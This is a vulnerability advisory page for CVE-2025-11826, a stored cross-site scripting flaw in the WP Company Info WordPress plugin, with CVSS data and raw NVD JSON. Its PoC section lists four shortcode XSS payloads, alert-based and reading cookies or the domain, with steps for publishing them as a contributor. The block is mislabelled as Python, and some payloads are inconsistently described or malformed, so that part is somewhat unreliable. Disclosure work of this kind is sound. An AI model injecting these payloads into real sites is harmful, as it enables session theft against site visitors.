Security Vulnerability Report
中文
CVE-2025-11826 CVSS 6.4 MEDIUM

CVE-2025-11826

Published: 2025-11-21 09:15:46
Last Modified: 2026-04-15 00:35:42

Description

The WP Company Info plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' attribute of the 'social-networks' shortcode in all versions up to, and including, 1.9.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Company Info ≤ 1.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress WP Company Info Plugin - Stored XSS via social-networks shortcode --> <!-- Attacker requires Contributor-level access or higher --> <!-- Method 1: Basic XSS payload in class attribute --> [social-networks class='"><script>alert(document.cookie)</script>'] <!-- Method 2: Event handler based XSS --> [social-networks class='x' onload=alert(String.fromCharCode(88,83,83))'] <!-- Method 3: img tag based XSS --> [social-networks class='x'><img src=x onerror=alert(document.domain)>'] <!-- Method 4: Data URI based XSS --> [social-networks class='x'><svg onload=alert(1)>'] <!-- Exploitation steps: --> <!-- 1. Login to WordPress with Contributor account --> <!-- 2. Create or edit a post/page --> <!-- 3. Insert the malicious shortcode with XSS payload --> <!-- 4. Publish or update the content --> <!-- 5. Any user visiting the page will execute the injected JavaScript -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11826", "sourceIdentifier": "[email protected]", "published": "2025-11-21T09:15:46.023", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Company Info plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' attribute of the 'social-networks' shortcode in all versions up to, and including, 1.9.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-company-info/tags/1.9.0/classes/class-wp-company-info-social-links.php#L244", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6743a762-6d40-4ed9-95f2-f1b405683f26?source=cve", "source": "[email protected]"}]}}